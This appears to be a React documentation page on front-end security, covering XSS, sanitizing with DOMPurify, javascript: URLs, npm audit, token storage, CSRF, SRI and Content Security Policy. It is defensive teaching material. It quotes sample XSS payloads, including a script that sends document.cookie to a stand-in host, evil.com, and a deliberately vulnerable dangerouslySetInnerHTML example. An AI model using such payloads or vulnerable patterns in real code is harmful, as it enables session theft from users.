ReactSecurity Considerations

Security Considerations

React applications run in browsers — an inherently adversarial environment where user input, third-party content, and external data must all be treated as untrusted. React handles the most common attack vector (XSS) for you by default, but a handful of patterns can accidentally bypass those protections. This page covers what to know and what to do.

1. XSS: React's Default Protection

Cross-Site Scripting (XSS) is the most common web vulnerability. An attacker injects malicious JavaScript into your page, which then executes in your users' browsers and steals session tokens, redirects them, or performs actions on their behalf. React escapes all values rendered as JSX by default. No matter what a user types into your form, React will render it as text, not executable HTML:

TSX
// User types: <img src=x onerror="alert('XSS')">
// React renders this as literal text — the script never executes
function Comment({ text }: { text: string }) {
  return <p>{text}</p>   // ← safe: React escapes the string
}

This protection is automatic and applies to all JSX interpolation. You do not need to sanitize strings before rendering them via JSX expressions.

2. dangerouslySetInnerHTML — The XSS Backdoor

dangerouslySetInnerHTML bypasses React's escaping and injects raw HTML directly into the DOM. If you inject user-supplied content this way without sanitizing it first, you open a direct XSS vulnerability:

TSX
// ✗ CRITICAL VULNERABILITY — never inject unsanitized user content
function BlogPost({ content }: { content: string }) {
  return <div dangerouslySetInnerHTML={{ __html: content }} />
}

// If content = '<script>fetch("evil.com?c="+document.cookie)</script>'
// → the script executes in the user's browser

The correct pattern is to sanitize the HTML with DOMPurify before injecting it. DOMPurify removes all executable constructs while preserving safe formatting tags like <b>, <em>, and <a>:

TSX
import DOMPurify from 'dompurify'

interface RichTextProps {
  html: string
}

function RichText({ html }: RichTextProps) {
  // Sanitize before injecting — removes scripts, event handlers, dangerous URLs
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'li'],
    ALLOWED_ATTR: ['href', 'target', 'rel'],
  })

  return (
    <div
      className="rich-text"
      dangerouslySetInnerHTML={{ __html: clean }}
    />
  )
}

// Safe usage — DOMPurify strips any injected script tags
<RichText html={userSuppliedContent} />
Warning
Even with DOMPurify, limit `dangerouslySetInnerHTML` to content from your own CMS or trusted sources. If you can avoid it entirely — for example by using `react-markdown` instead — do so.
3. URL Injection — javascript: Hrefs

If you render a URL from user input or a database in an href, an attacker can use the javascript: protocol to execute code when the link is clicked:

TSX
// ✗ Vulnerable — if url = 'javascript:alert(document.cookie)'
function ExternalLink({ url, label }: { url: string; label: string }) {
  return <a href={url}>{label}</a>   // clicking executes the script!
}

// ✓ Fix — validate that the URL uses a safe protocol
function isSafeUrl(url: string): boolean {
  try {
    const parsed = new URL(url)
    return parsed.protocol === 'https:' || parsed.protocol === 'http:'
  } catch {
    return false
  }
}

function ExternalLink({ url, label }: { url: string; label: string }) {
  if (!isSafeUrl(url)) return <span>{label}</span>   // degrade gracefully

  return (
    <a href={url} rel="noopener noreferrer" target="_blank">
      {label}
    </a>
  )
}
Tip
Always add `rel="noopener noreferrer"` to external links opened in a new tab. Without it, the opened page has access to your page's `window.opener`, which enables tab-napping attacks.
4. Dependency Security

Your React app is only as secure as its node_modules. Supply-chain attacks — where a malicious package is published with a similar name or a legitimate package is compromised — are increasingly common.

Bash
# Check for known vulnerabilities in your dependencies
npm audit

# Fix automatically where safe (minor/patch)
npm audit fix

# See the full report including dev dependencies
npm audit --all
  • Run npm audit in CI to block deployments with high-severity vulnerabilities

  • Keep dependencies updated — use Dependabot or Renovate to automate PRs

  • Audit packages before adding them — check download count, maintenance status, and GitHub stars

  • Never npm install packages suggested in chat, Stack Overflow comments, or random blog posts without verifying them first

5. Sensitive Data in Client State

React state, localStorage, and sessionStorage are all accessible to any JavaScript running on your page — including injected third-party scripts. Never store authentication tokens, private keys, or personally identifiable information in React state or browser storage:

TSX
// ✗ Never store tokens in state — accessible via React DevTools or XSS
const [authToken, setAuthToken] = useState(response.token)

// ✗ Never store tokens in localStorage — readable by any JS on the page
localStorage.setItem('token', response.token)

// ✓ Use httpOnly cookies — JavaScript cannot read them at all
// The server sets the cookie with Set-Cookie: token=...; HttpOnly; Secure; SameSite=Strict
// Your fetch calls include credentials: 'include' to send the cookie automatically
await fetch('/api/profile', { credentials: 'include' })
Note
`httpOnly` cookies require a backend. If you are building a pure SPA with a third-party API, use short-lived access tokens stored in memory (a variable, not state/storage) and refresh tokens in httpOnly cookies.
6. CSRF Protection

Cross-Site Request Forgery tricks a user's browser into making authenticated requests to your API from a malicious page. Modern token-based auth using JWTs in Authorization headers is naturally CSRF-resistant because cross-origin requests cannot set custom headers. If you use cookie-based auth, ensure your API validates a CSRF token and your cookies have SameSite=Strict or SameSite=Lax.

7. Third-Party Scripts

Every <script> tag you load from a CDN or external domain is fully trusted JavaScript. A compromised analytics script, chat widget, or A/B testing tool can exfiltrate all user data on your page. Minimize third-party scripts and load them with subresource integrity (SRI) checks:

HTML
<!-- SRI hash ensures the file has not been tampered with -->
<script
  src="https://cdn.example.com/lib.js"
  integrity="sha384-XXXXXX"
  crossorigin="anonymous"
></script>
8. Content Security Policy

A Content Security Policy (CSP) is an HTTP header that tells browsers which sources of scripts, styles, and images are trusted. Even if an attacker manages to inject a <script> tag, a strict CSP prevents it from executing:

Text
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://trusted-cdn.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  • Set CSP headers on the server — do not rely on meta tags alone

  • Start with Content-Security-Policy-Report-Only to audit violations without breaking the site

  • Avoid unsafe-inline for scripts — use nonces or hashes instead

  • Use frame-ancestors: none to prevent clickjacking

Quick Security Checklist
  • JSX interpolation {value} — safe by default

  • dangerouslySetInnerHTML — sanitize with DOMPurify first

  • URL props from user data — validate protocol is http/https

  • Auth tokens — httpOnly cookies, never localStorage or state

  • Dependencies — npm audit in CI, automated updates

  • External links — rel="noopener noreferrer" on target="_blank"

  • Third-party scripts — minimize, use SRI hashes

  • HTTP headers — set CSP, X-Frame-Options, X-Content-Type-Options